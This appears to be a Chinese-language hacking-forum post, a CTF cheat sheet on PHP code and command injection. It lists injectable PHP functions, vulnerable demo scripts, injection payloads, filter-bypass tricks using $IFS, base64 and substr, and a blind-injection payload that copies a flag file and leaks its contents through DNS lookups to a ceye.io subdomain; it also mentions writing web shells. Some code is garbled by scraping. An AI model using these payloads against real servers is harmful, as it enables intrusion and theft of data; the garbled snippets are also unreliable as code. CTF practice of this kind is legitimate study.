taibeihacker
Moderator
CTF 中的命令执行漏洞相关
由於沒有針對代碼中可執行的特殊函數入口做過濾,導致用戶可以提交惡意語句,並交由服務器端執行。代碼/命令注入攻擊中Web 服務器沒有過濾類似system()、eval()、exec() 等函數的傳入參數是該漏洞攻擊成功的最主要原因。
1 代码注入
1.1 相关函数
1.1.1 eval
12
3
4
5
?php
hilight_file(__FILE__);
$a='phpinfo();';
eval($a);
?
1.1.2 assert

1.1.3 call_user_func

可以使用is_callable 函數查看是否可以被回調
1.1.4 call_user_func_array

1.1.5 create_function

1.1.6 preg_replace

搜索subject 中匹配pattern 的部分, 以replacement 或其執行結果進行替換。
1.1.7 array_map

payload:url?a=assertb=phpinfo()
1.1.8 usort

Payload:url?1[]=phpinfo()1[]=1232=assert
1.1.9 uasort

1.1.10 ${php 代码}

1.2 DEMO
12
3
4
5
6
7
?php
hightlight_file(__FILE__);
$price=$_GET['price'];
$code='echo $name'. '的價格是'. $price. ';';
$b=create_function('$name', $code);
$b('iPhone');
?
Payload:url?price=123;}phpinfo();/*
2 命令注入
2.1 相关函数
2.1.1 system

2.1.2 exec

2.1.3 passthru

2.1.4 shell_exec

2.1.5 `` 运算符

2.1.6 ob_start

2.2 命令执行的绕过
2.2.1 命令执行的分隔符
例如:1
2
3
4
5
?php
highlight_file(__FILE__);
$rce='echo 123';
system($rce. $_GET[1]);
?
如何實現命令執行
換行符%0a
回車符%0d
連續指令;
後台進程
管道符|
邏輯||、
2.2.2 命令执行的分隔符
符號$IFS
${IFS}
$IFS$9
%09 用於url傳遞
${9}
2.2.3 其它 Tips
2.2.3.1 命令拼接
1$a=l;$b=s;$a$b
2.2.3.2 base64 编码
1`echo cHdk | base64 -D`
2.2.3.3 substr string pos len
該表達式是從string 中取出從pos 位置開始長度為len 的子字符串。如果pos 或len 為非正整數時,將返回空字符串。echo “${PATH:0:1}” - /

1
2
3
echo '`expr\$IFS\substr\\$IFS\\$(pwd)\\$IFS\1\$IFS\1`'
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)` - /
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1{$IFS}1

2.3 命令无回显的情况
2.3.1 判断
延時ls|sleep(3)
HTTP 請求
DNS 請求
ceye.io
2.3.2 利用
寫shell(直接寫入、外部下載)http/dns 等方式帶出
2.3.3 DEMO
12
3
4
5
6
7
8
?php
highlight_file(__FILE__);
include('where_is_flag.php');
echo 'ping:';
$ip=(string)$_GET['ping'];
$ip=str_replace('', '0.0', $ip);
shell_exec('ping '.$ip);
?
payload:
1
2
ip=;cp where_is_flag.php 1.txt
ip=`cat 1.txt|sed s/[[:space:]]//`.xx.ceye.io
技巧
cat 1.txt|sed s//[[:space:]]//g 是去除空格的作用